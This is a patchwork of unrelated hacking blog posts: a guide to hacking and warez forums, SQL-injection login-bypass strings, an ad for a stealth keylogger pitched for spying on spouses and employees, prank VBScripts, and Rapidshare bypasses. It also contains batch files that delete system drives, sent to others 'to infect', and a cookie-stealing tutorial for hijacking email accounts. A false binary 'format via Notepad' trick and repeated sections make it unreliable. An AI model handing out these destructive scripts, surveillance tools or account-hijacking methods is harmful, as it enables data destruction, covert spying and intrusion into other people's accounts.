Whether you’re a college student, a middle-aged networking guru or a wife and mother fascinated by the world of online games – everyone occasionally comes across a situation where some form of hacking would make life a whole lot easier.
Maybe you’ve lost the license that came with your legitimate software package that you paid for. Maybe you want to make a backup copy of your favorite DVD movie, but there’s copy-protection encoded onto the disk. Or maybe you’re just stuck on a popular online game and you want to know if there are any hacks available to level up in the game without the required effort.
Whatever your specific needs or situation – I’m not here to judge. In the field of computers and Internet technologies, just about everything is written in one programming language or another. No programmer is perfect – they all make mistakes. There are back doors, secret codes and vulnerabilities in just about any application you come across. Because of that, if you learn how to hack on your own, or just following the efforts of active hacking communities can provide you with tremendous eye-opening insight into the inner-workings of even your most “trusted” software applications.

Where You Can Go To Learn How To Hack Like a Pro

One thing that’s obvious when you visit the websites where professional hackers hang out – there’s so much about programming that even the most seasoned professional programmers don’t know. Professional hackers are an exceptional, amazing and terrible breed of individuals all packaged into one. While I write this, I realize that I am also describing over half of our readership – you know who you are! These folks take programming to an extreme that’s simply astounding when you see it in action.

While many of us write applications using all of the standard techniques that you learn in programming classes in college, these folks take programming into a realm where there are no rules. They can test all aspects of an application until they find a chink in the armor, and then exploit those vulnerabilities.
As we explore the world of hacking, it should be noted that there are two major forms of hacking – we’ll call it “white hat” and “black hat.” The “white hat” hackers call themselves “ethical hackers,” in that they find vulnerabilities and exploits only to make the programming and application communities more secure for everyone. However, there’s a whole other community of hackers who find vulnerabilities to do nothing more than exploit them as much as humanly possible. Now that you know what sort of community you may be entering, let’s get on with the list of top sites where you can learn how to hack.

#1 – CyberXtreme: Hacking and Warez

CyberXtreme is an impressive forum with a significant hacking section, but also entire sections on technology, graphics and even a tech support area. Here you’ll find cracks, secret codes, free download packages (some containing cracked software which may be illegal to download in your area, so be careful). The forum is very protective of its content, so you’ll have to register with a valid email address before you can even get a glimpse of the content that’s on the forums.

The hacking section is very detailed and, as shown above, includes not only free tools and software exploits, but if you want to learn some coding tricks from the resident hacking gurus, just enter the “Coding & Programming” forum and you’ll get your fill. Before long you’ll be writing up your own customized hacking tools!

#2 – EvilZone Hacking Forums

While the name, EvilZone, isn’t exactly the most inviting – it is easily one of the largest forum communities that you’ll find on the subject of hacking. With over 6,500 members and over 100,000 posts (and counting), this community likely has the skills and knowledge to answer any programming question you could possibly have. Just be careful about coming across as a “noob” – these guys don’t handle newcomers with kid gloves, so be careful.

You’d definitely be best off working through the programming and encyclopedia sections first, where you’ll find projects, tutorials and a lot more that will help you become educated and well-versed in hacking techniques and terminology.

#3 – Hack a Day

While I certainly don’t want to offer a nod to any blogs that may be considered competition, you really have to give credit where credit is due when it comes to a particular niche like hacking – and Hack a Day definitely offers an amazing library of information for anyone looking for specific categories like cellphones, GPS or digital cameras. You’ll find all hacks organized by category in the right column.

More than any other site, this particular “hacking” site is very much hardware based, and they redefine the meaning of the word hacking by literally hacking up electronic devices like a Gameboy or a digital camera and completely modifying it. Of course you’ll still find the occasional software hack, such as how to remove the Blackberry download limit.

While I personally don’t find the articles themselves very detailed (as an EE, I like schematics and elaborate descriptions) – but the site makes up for it with video demonstrations throughout.

#4 – Hack In The Box

If any site could be classified as the most comprehensive site to learn how to hack, this would be it. Hack In The Box is more about security and ethical hacking than anything else – and that’s more than obvious reviewing the classes and conferences listed on the main page.

The manage page is an informational portal that includes information from all other areas, including recent forum posts, conference updates, E-zine and news articles and a lot more. To be honest, there’s so much information stuffed on the main page that it’s almost overwhelming.

There’s a lot of material available, but if you’ve so interested in learning how to hack that you wouldn’t mind paying to attend a class or a conference – then this is the place to do it.

#5 – Hack This Site!

As always, saving the best for last – I’d like to introduce Hack This Site! This website is one of the coolest, free programmer training sites where you can learn how to hack accepting one of the challenges.

The site designers offer various “missions,” where you need to figure out the vulnerability of a site and then attempt to use your new-found hacking skills (you’ve carefully studied all of the articles on the site, right?) to hack the web page. Missions include Basic, Realistic, Application, Programming and many others.

If you’re able to figure out how to properly hack any of the most difficult missions on this site, then you’ve definitely earned the title of professional hacker.
Have you ever tried any of the tips offered at any of these websites and do they work? Do you have any good resources of your own for readers to learn how to hack like the pros? Share your insight in the comments section below.

We hear the same terms bandied about whenever a popular site gets hacked. You know… SQL Injection, cross site scripting, that kind of thing. But what do these things mean? Is hacking really as inaccessible as many of us imagine — a nefarious, impossibly technical twilight world forever beyond our ken?
Not really.
When you consider that you can go to Google right now and enter a search string which will return you thousands of usernames and passwords to websites, you realize that this dark science is really no mystery at all. You'll react similarly when you see just how simple a concept SQL Injection is, and how it can be automated with simple tools. Read on, to learn the basics of how sites and web content management systems are most often hacked, and what you can do to reduce the risk of it happening to you.

SQL Injection

SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.
When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you've entered against the relevant table in the database. If your input matches table/row data, you're granted access (in the case of a login screen). If not, you're knocked back out.

 

The Simple SQL Injection Hack

In its simplest form, this is how the SQL Injection works. It's impossible to explain this without reverting to code for just a moment. Don't worry, it will all be over soon.
Suppose we enter the following string in a Username field:

' OR 1=1
The authorization SQL query that is run by the server, the command which must be satisfied to allow access, will be something along the lines of:
SELECT * FROM users WHERE username = ?USRTEXT '
AND password = ?PASSTEXT?
…where USRTEXT and PASSTEXT are what the user enters in the login fields of the web form.
So entering `OR 1=1 — as your username, could result in the following actually being run:
SELECT * FROM users WHERE username = ?' OR 1=1 — 'AND password = '?
Two things you need to know about this:
['] closes the [username] text field.
'' is the SQL convention for Commenting code, and everything after Comment is ignored. So the actual routine now becomes:
SELECT * FROM users WHERE username = '' OR 1=1
1 is always equal to 1, last time I checked. So the authorization routine is now validated, and we are ushered in the front door to wreck havoc.
Let's hope you got the gist of that, and move briskly on.
Brilliant! I'm gonna go hack me a Bank!
Slow down, cowboy. This half-cooked method won't beat the systems they have in place up at Citibank, evidently.

But the process does serve to illustrate just what SQL Injection is all about — injecting code to manipulate a routine via a form, or indeed via the URL. In terms of login bypass via Injection, the hoary old ' OR 1=1 is just one option. If a hacker thinks a site is vulnerable, there are cheat-sheets all over the web for login strings which can gain access to weak systems. Here are a couple more common strings which are used to dupe SQL validation routines:
username field examples:

• admin'—
• ') or ('a'='a
• ”) or (“a”=”a
• hi” or “a”=”a

… and so on.
Backdoor Injection- Modules, Forums, Search etc.
Hacking web forms is by no means limited exclusively to login screens. A humble search form, for instance, is necessarily tied to a database, and can potentially be used to amend database details. Using SQL commands in search forms can potentially do some extremely powerful things, like calling up usernames and passwords, searching the database field set and field names, and amending same. Do people really get hacked through their search forms? You better believe it. And through forums, and anywhere else a user can input text into a field which interacts with the database. If security is low enough, the hacker can probe the database to get names of fields, then use commands like INSERT INTO, UNION, and so forth to get user information, change product prices, change account settings/balances, and just about anything else… depending on the security measures in place, database architecture and so on.
So you can have security locked down at the login, but poor security on other forms can still be exploited. Unfortunately this is a real worry regarding 3rd party modules for Web CMS products which incorporate forms, and for CMS products these 3rd party modules are often the weakest links which allows hackers access to your database.
Automated Injection
There are tools to automate the process of SQL Injection into login and other fields. One hacker process, using a specific tool, will be to seek out a number of weak targets using Google (searching for login.asp, for instance), then insert a range of possible injection strings (like those listed above, culled from innumerable Injection cheat-sheets on the Web), add a list of proxies to cover his movements, and go play XBox while the program automates the whole injection process.
Remote Injection
This involves uploading malicious files to inject SQL and exploit other vulnerabilities. It's a topic which was deemed beyond the scope of this report, but you can view this PDF if you'd like to learn more.
SQL Injection in the Browser Address Bar
Injections can also be performed via the browser address bar. I don't mean to have a pop at Microsoft, but when it comes to such vulnerabilities, HTTP GET requests with URLs of the following form are most often held to be vulnerable:
http://somesite.com/index.asp?id=10
Try adding an SQL command to the end of a URL string like this, just for kicks:
http://somesite.com/index.asp?id=10 AND id=11
See if both articles come up. Don't shoot your webmaster just yet if it's your own site and you get two articles popping up: this is real low-level access to the database. But some such sites will be vulnerable. Try adding some other simple SQL commands to the end of URLs from your own site, to see what happens.

Aobo Mac OS X Keylogger for Mac:
Abobo Mac OS x is The only keylogger of mac os X which can Record Passwords
Aobo Mac OS X Keylogger for Mac OS X is the best Mac keylogger on the market with remote monitoring support. It supports stealth keystroke recording, screenshots capturing and sending the logs by email or FTP in a real time. 





Aobo Mac Keylogger Standard Features:

• Record keystrokes typed except passwords
• Record desktop screenshots by interval
• Record websites visited, chat conversations
• Record keystrokes typed in Email content
• Stealth & undetectable Monitoring, Recording
• Secretly send logs to email box or FTP space
• Password protected
• Easy to install (No need admin password)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Do you know how your Macbook /iMac / PowerPC has been used while you are away?

Do you know what your kids are doing online, are they chatting with bad guys, visiting porn websites?

Are your employees working or playing with the company mac machines.

Do you want to discover the truth?

With Aobo Mac OS X Keylogger, you can get above jobs done easily.

What can you do with Aobo Mac OS X Keylogger?

- Monitor and Protect your children: 
Children are often curious for sexually-explicit content and they may chat with bad guys on MSN/Yahoo Messenger/AIM/Windows Live Messenger online. Now with the Aobo Mac OS X Keylogger you can know everything and protect your children.

- Monitor your home computer: 
Have you suspected that your spouse is cheating on you? Do you know how to catch a cheating spouse? Why he/she cleans the MSN/AIM/Yahoo Messenger conversation tracks and email history on the computer? Now with Aobo Mac OS X Keylogger, he/she can’t hide the information from your home computer anymore.

- Monitor your employees:
Are your employee working or playing during the work time? Are they planning to quit the job and go to your rivals? Are they stealing the company secrets and selling to your competitors? Now with Aobo Mac OS X Keylogger, you can know the truth and avoid business secrets leaking.

- Spy and discover the truth:

With Aobo Mac OS X Keylogger, you can spy on mac machines and discover the truth.

- Discover whether or how others were using your Macbook/iMac/PowerPC while you are away.

Are there other guys using your Macbook/iMac/PowerPC while you are away? Are they searching for your secret materials? With Aobo Mac OS X Keylogger, you can know whether or how others were using your Mac and protect your privacy.

- Use Mac keylogger to get back a stolen Mac
Security is a big problem for us nowadays. Lots of important documents are saved in our computers. If your mac laptop is stolen, it will be a great loss for you. But if you install a remote mac keylogger on the mac, then you have a chance to get your stolen Mac back. Aobo mac keylogger will run in stealth mode and send you the keystrokes and desktop screenshots which will give you a clue to catch the thief.

Key features of Aobo Mac OS X Keylogger

Aobo Mac OS Keylogger have two editions: Aobo Mac OS X Keylogger Standard and Aobo Mac OS X Keylogger Professional.

Running Features

• - Stealth and undetectable Monitoring and Recording
• - Automatically delete old logs (Keystrokes and Screenshots)
• - Pause screenshots capturing when no user activity detected
• - Password protection
• - Customizable Hot Key
• - Easy to Use

Recording Features

• - Record all keystrokes typed on any applications
• - Record Websites Visited in safari
• - Record All instant messenger chat conversations typed at your end
• - Record iChat Chat Conversations typed at your end
• - Record Skype Chat Conversations typed at your end
• - Record MSN Chat Conversations typed at your end
• - Record AIM Chat Conversations typed at your end
• - Record ICQ Chat Conversations typed at your end
• - Record Adium, Proteus, Chat Conversations typed at your end
• - Record Yahoo Messenger Chat Conversations typed at your end
• - Record Desktop Screenshots in a preset interval
• - Keystroke and screenshot recording in virtual machine Windows applications (Parallels Desktop, VMware Fusion etc )
• - Emailed logs can be received and viewed on a PC/PocketPC/Smartphone or any other device can receive emails

Delivery Features

• - Secretly send the logs to your email(including keystrokes, chats, websites, screenshots)
• - Secretly send the logs to your FTP (upload keystrokes, chats, websites and screenshots to ftp space)

Compatibility:

• - Can be installed for all Mac users
• - Fully supports Mac OS X 10.4.x, 10.5.x, 10.6.x and later (Tiger and Leopard)
• - Universal build (for both Intel and Power PC)
• - Supports Macbook/iMac/PowerPC

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VBScript (Visual Basic Scripting Edition) is an Active Scripting language developed by Microsoft that is modeled on Visual Basic.This indeed is a very interesting scripting language and I will share some of the best .vbs hacks which you can use to have loads of fun.We have shared a post on this blog which uses .vbs scripting and helps toConvert text to speech on a PC without any software.You can send these to your friends too 

How to use the scripts provided?
To use the scripts provided in this article you need to open a new notepad,and copy-paste the code provided within the different headings.Then goto the file menu and click “save as..” .Save it in your desktop with the name “anything.vbs” .To use the script , double click on the icon on your desktop.

Make the CD tray open and close repeatedly

This code repeatedly opens and closes the cd tray. The code is :

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
end if

You press ctrl + alt + delete and go to processes, and end wscript.exe.

T

Turns on and off your capslock repeatedly

This will turn your caps lock on and off every tenth of a second. The code is below :

Set wshShell =wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "{CAPSLOCK}" 
loop

You can press ctrl + alt + delete and go to processes, and end wscript.exe.

 

Notepad Hack

This is one of my favorite hacks (is also known as ghost typing) what it does is opens a notepad and the typing starts automatically and you can change what it displays! The code is below :

Set wshshell = wscript.CreateObject("WScript.Shell") 
Wshshell.run "Notepad" 
wscript.sleep 400
wshshell.sendkeys "T"
wscript.sleep 100
wshshell.sendkeys "e"
wscript.sleep 120
wshshell.sendkeys "c"
wscript.sleep 200
wshshell.sendkeys "h"
wscript.sleep 140
wshshell.sendkeys "n"
wscript.sleep 100
wshshell.sendkeys "o"
wscript.sleep 50
wshshell.sendkeys "V"
wscript.sleep 120
wshshell.sendkeys "a"
wscript.sleep 150
wshshell.sendkeys "l"
wscript.sleep 170
wshshell.sendkeys "l"
wscript.sleep 200
wshshell.sendkeys "e"
wscript.sleep 100
wshshell.sendkeys "y"
wscript.sleep 50
wshshell.sendkeys " "
wscript.sleep 120
wshshell.sendkeys "i"
wscript.sleep 160
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "g"
wscript.sleep 100
wshshell.sendkeys "o"
wscript.sleep 200
wshshell.sendkeys "o"
wscript.sleep 100
wshshell.sendkeys "d"

Instrucions :

Whatever is typed is shown character-wise . You can edit it to suit your needs , just change the characters and for separating words add a space instead of a character.Nice trick for annoying users.

 

Force Shutdown a Computer

This command will force shut-down the computer after the time specified.Can come handy :-p

set wshshell = wscript.CreateObject("wscript.shell")
wshshell.run "shutdown.exe -s -t 6"
wscript.sleep 2000

To change the shutdown minutes,change the “6″ in the code!

 

You can hack Microsoft Minesweeper by Dynamic DLL Injection Technique.
Dynamic DLL Injection is nothing but the injection that occurs after the program is executed. This technique is used by trojans & virus. When an attacker attempts to load code in process memory, then he is using Dynamic Injection.
It is working in Windows XP Service Pack 2.

Tools Required:
1) Hack.dll [Download]
2) Advanced Process Manipulation [Download]

Steps to Hack Minesweeper:

• Start Minesweeper (Start->All Programs->Games->Minesweeper)
• Start APM (Advanced Process Manipulation)
• Select "c:\windows\system32\winmine.exe"
  
  
  
• Right click on the module window in the lower half
  
  
  
• Then select "Load DLL" and select the Hack.dll, from where you have saved it in your computer.
• If you have done every thing right, you will get this window "Dll Injection, Sucessfull" Click OK there.
  
  
  
• After that you will get a window "Success, C:\Hack.dll has been loaded". Click OK.
  
  
  
• Now, start playing Minesweeper.
• Now you can close Advance Process Manipulation Software otherwise you can continue also.
• Wow you have hacked minesweeper sucessfully. You will notice the timer has stopped after 01 seconds. Take as much time you need to complete the game.
  
  
  
• After finishing your game . Select Hack.dll from the modules window and unload it. Otherwise close Advance Process Manipulation Software.

Steps to find who is invisible or blocked you on gtalk :
1) Download & Install Pidgin
Click here to download Pidgin chat client. If you already have Pidgin installed, you may skip this step.
2) Configure Pidgin for Gtalk
You’ll probably start with the below screen. Click the Add button. “Accounts -> Manage Account” will also bring you to the same screen. Let’s add Gtalk to Pidgin.

Clicking Add will allow you to add new Gtalk account. The following two screenshots show what you need to fill up for Basic and Advance tab.

With all the settings properly entered, you should be able to connect to Gtalk and load your contacts successfully.
3) Find Who’s Blocking You
When someone blocked you in Gtalk (and other IMs), they appear offline just like your other contacts who are really offline. Right click, click on Get Info, and we’ll see how to differentiate them.

The following image is a comparison of 2 different contacts: Actual offline (left) and Blocked offline (right). If you are blocked, nothing will display under Buddy Information.

Thats all. Now you can easily find out who is really offline and who is blocking you from google chat.

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.
Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
OR
IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don’t mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

There are two hacks to beat Rapidshare download limits and waiting time.

1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.

That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.


http://greasemonkey.mozdev.org/
1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads......!


2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-

A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this-    javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File

B] Request a new IP address from your ISP server:
Here\92s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit 5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy

D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it \93RapidShare No Wait\94
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait

There are many numbers of hacking techniques available and each hacking attempt happens for a malicious purpose. The word hacker means attacker who assault on the computer’s system security. Not all the hackers have the intention to steal others’ things. Hacking can be done on several places like a website, wireless connection, broadcasting networks, emails, gadgets like mobile phones, etc.
 
Type of hacking
Legal hacking or White hat – Hacking done intentionally to check for vulnerabilities in their system.
Black hat – Hacking done to steal others’ confidential information.
Grey hat – Combination of both the above. They make use of legal access to steal unauthorized data.
Blue hat – Delegating authority to a third person to check for bugs in your own system.
Elite – Expert hackers are referred as Elite hackers.
Script kiddie – Amateur hacker who uses others ideas and software for hacking.
Neophyte – Almost new to internet fundamentals.
Hacktivism – Spreading their beliefs in the form of message via the hacked system to others.
Phreaker – Telecomm hacker who tricks plays with the telephone and making you do free ISD calls.
Computer Security Hacker – hacker knowing the tech spec of computer security and networking. Using fragmented packets to attack the firewall or ISP.
Academic Hacker – Academic person doing a research about hacking.
Hobby Hacker – Hacking done as a hobby like jail breaking done on Apple iPhones, modifying software and hardware, etc.

Hacking tips

Following are the tips to keep off hacker’s interruption. 1.Try to avoid usage of wireless networks and turn off your Wi-Fi and Bluetooth devices. Use wired network only with managed firewalls.
2.Never use wireless technologies like Bluetooth and Wi-Fi in Public Areas,
3.The password you use for each account should be unique. Even if someone manages to find your password of a particular account, you could limit the damages to that account alone.
4.To avoid dictionary attacks and brute force attack, be sure to use complex passwords that are combination of letters, numbers and special characters, and must be more than 10 characters long.
5.Never use others’ system to log into your accounts, beware of the software like keylogger, abel, etc.
6.When using others system, be sure to download Spybot software to see if there are any security holes and then begin using their system.
7.You password must be changed frequently and periodically.
8.Check your antivirus for frequent updated for virus threats, malware removal, adware removal and prevention.
In order to stay safe against hacking, you must know the way hacking works. You can browse the internet for hacking guides, hacking software, hacking methods and do some academic research on those topics. Hackers usually use malware to attack the system and create paths for them to enter and steal the valuable information stored on the systems. A lot of expert hackers write their own software and use their own technique to perform hacking, and thus making it tough for us tracks them down. All you can do is follow the above guidelines and make use effective security related application programs like antivirus (Norton, McAfee, etc), Spyware (STOPzilla Spyware remover), etc and stay protected against malware.

In order to study the comparison the between the hackers and crackers, it is important to understand the respective definitions. While apparently the words hacking and cracking seems synonymous, yet there exist certain points of distinctions between the two and the meaning of the words will always be heated topics of debate.

Since the very dawn of the civilization, man's hunger to attain the unattainable have went on opening new horizons in almost every aspects of life, and the technology is of no exception to this nature of human.

Aims of Hackers and Crackers

The computer hackers actually trespass or circumvent artistically, yet scientifically into the other computer system with a hunger to know the programmable systems, how they perform and their internal structures, while cracking is slight different in sense. Cracking means to break off the computer's security system. This is a subject matter of hard-core science with an aesthetic undertone of artistic skill that has attracted a few millions of teenagers and young adults all over the world.

Who Is A Hacker And What Is His Aim?

Delving deep into the concepts, we can compare the hackers and crackers. A hacker is a person who commits the fraudulent act or the penal offense of exploring into the other computers in order to know the details of the programmable system and how they work. On the other level, a cracker is a person just more secretive as compared to the hacker. The cracker breaks through the system's security and proves to be far more dangerous than the hackers who just quench his or her thirst by simply discovering the workings of a system.

Hence the crackers can potentially be much more perilous as compared to the hackers. While it is often believed that the hacking is simply exploring into the other computer system with an intention to know how the programmable system works, which is not a fraudulent task unless any sort of vandalism and theft is done by this, another huge section stands strictly against the view and look at the act from the view point of a crime.

Who is A Cracker and What Is His Aim?

A cracker is a technical person who has mastered the art of breaking systems, often not for acquiring knowledge, by the dint of few programs and softwares used as tools. They are more interested in the system's security without the need of great deal of knowledge, thereby not benefiting much.

On the other hand, a hacker who cracks and hacks systems is not only interested in breaking the security of the system but also in knowing about the system's details, by which he gains much more than by simply cracking systems. Unlike a cracker, a hacker generally does not have intention destroy data maliciously or to steel things.

A cracker who is often termed to be a cyber burglar brings out significant harm to the network or steels the information like passwords or credit card numbers. A Trojan is capable enough to recognize and record even every single keystroke that you make. Hence even if you do not store any personal or financial records in your system, the hackers can still be able to obtain the information by recognizing the keystrokes.

There are many numbers of hacking techniques available and each hacking attempt happens for a malicious purpose. The word hacker means attacker who assault on the computer’s system security. Not all the hackers have the intention to steal others’ things. Hacking can be done on several places like a website, wireless connection, broadcasting networks, emails, gadgets like mobile phones, etc. Hackers make use of computer viruses or other dangerous hacking software that helps them gain access to confidential documents present on unauthorized systems.

Type of hacking

Legal hacking or White hat - Hacking done intentionally to check for vulnerabilities in their system.

Black hat – Hacking done to steal others’ confidential information.

Grey hat – Combination of both the above. They make use of legal access to steal unauthorized data.

Blue hat – Delegating authority to a third person to check for bugs in your own system.

Elite – Expert hackers are referred as Elite hackers.

Script kiddie – Amateur hacker who uses others ideas and software for hacking.

Neophyte – Almost new to internet fundamentals.

Hacktivism – Spreading their beliefs in the form of message via the hacked system to others.

Phreaker – Telecomm hacker who tricks plays with the telephone and making you do free ISD calls.

Computer Security Hacker – hacker knowing the tech spec of computer security and networking. Using fragmented packets to attack the firewall or ISP.

Academic Hacker – Academic person doing a research about hacking.

Hobby Hacker – Hacking done as a hobby like jail breaking done on Apple iPhones, modifying software and hardware, etc.

Hacking tips

Following are the tips to keep off hacker’s interruption.

1.Try to avoid usage of wireless networks and turn off your Wi-Fi and Bluetooth devices. Use wired network only with managed firewalls.

2.Never use wireless technologies like Bluetooth and Wi-Fi in Public Areas,

3.The password you use for each account should be unique. Even if someone manages to find your password of a particular account, you could limit the damages to that account alone.

4.To avoid dictionary attacks and brute force attack, be sure to use complex passwords that are combination of letters, numbers and special characters, and must be more than 10 characters long.

5.Never use others’ system to log into your accounts, beware of the software like keylogger, abel, etc.

6.When using others system, be sure to download Spybot software to see if there are any security holes and then begin using their system.

7.You password must be changed frequently and periodically.

8.Check your antivirus for frequent updated for virus threats, malware removal, adware removal and prevention.

In order to stay safe against hacking, you must know the way hacking works. You can browse the internet for hacking guides, hacking software, hacking methods and do some academic research on those topics. Hackers usually use malware to attack the system and create paths for them to enter and steal the valuable information stored on the systems. A lot of expert hackers write their own software and use their own technique to perform hacking, and thus making it tough for us tracks them down. All you can do is follow the above guidelines and make use effective security related application programs like antivirus (Norton, McAfee, etc), Spyware (STOPzilla Spyware remover), etc and stay protected against malware.

Today I am writing about a new topic on Techotoys - Cookie Stealing. I observed that cookie stealing is neglected by some fellow hackers (even I was one of them). But, recently, I discovered that cookie stealing can be pretty handy to hack anEmail account. In the following article, I have covered basics of how to hack an Email account using Cookie Stealing.

How to hack Email account:

If you are a newbie and don't know about cookie, then for your information, Cookie is a piece of text stored on user computer by websites visited by the user. This stored cookie is used by webserver to identify and authenticate the user. So, if you steal this cookie (which is stored in victim browser) and inject this stealed cookie in your browser, you can imitate victim identity to webserver and enter hisEmail account easily. This is called Session Hijacking. Thus, you can easily hack Email account using such Cookie stealing hacks.

Tools needed for Cookie stealing attack:

Cookie stealing attack requires two types of tools:

1. Cookie capturing tool
2. Cookie injecting/editing tool

1. Cookie capturing tool:

Suppose, you are running your computer on a LAN. The victim too runs on same LAN. Then, you can use Cookie capturing tool to sniff all the packets to and from victim computer. Some of the packets contain cookie information. These packets can be decoded using Cookie capturing tool and you can easily obtain cookie information necessary to hackEmail account. Wireshark and HTTP Debugger Pro softwares can be used to capture cookies.

Update: Check out my Wireshark tutorial for more information on cookie capturing tool.

2. Cookie injecting/editing tool:

Now, once you have successfully captured your victim cookies, you have inject those cookies in your browser. This job is done using Cookie injecting tool. Also, in certain cases after injection, you need to edit cookies which can be done by Cookie editing tool. This cookie injection/editing can be done using simple Firefox addons Add N Edit Cookies and Greasemonkey scripts. I will write more on these two tools in my future articles.

Drawbacks of Cookie Stealing:

Cookie Stealing is neglected because it has some serious drawbacks:

1. Cookie has an expiry time i.e. after certain trigger cookie expires and you cannot use it to hijack victim session. Cookie expiry is implemented in two ways:
   1. By assigning specific timestamp(helpful for us).
   2. By checking for triggers like user exiting from webbrowser. So, in such cases, whenever user exits from his browser, his cookie expires and our captured cookie becomes useless.
2. Cookie stealing becomes useless in SSL encrypted environment i.e. for https (Secure HTTP) links. But, most Email accounts and social networking sites rarely use https unless vicitm has manually set https as mandatory connection type.
3. Also, most cookies expire once victim hits on LogOut button. So, you have to implement this Cookie stealing hack while user is logged in. But, I think this is not such a serious drawback because most of us have the habit of checking "Remember Me". So, very few people actually log out of their accounts on their PCs.

So friends, this was a short tutorial on basics of how to hack Email account using Cookie Stealing. As I have stated, Cookie stealing has some disadvantages. But, I think Cookie stealing is a handy way to hack an Email account. In my next articles, I will post detailed tutorial to hack Facebook and Gmail accounts using Cookie stealing. If you have any problem in this tutorial on how to hack Email account using Cookie stealing, please mention it in comments.

Enjoy Cookie stealing trick to hack Email account...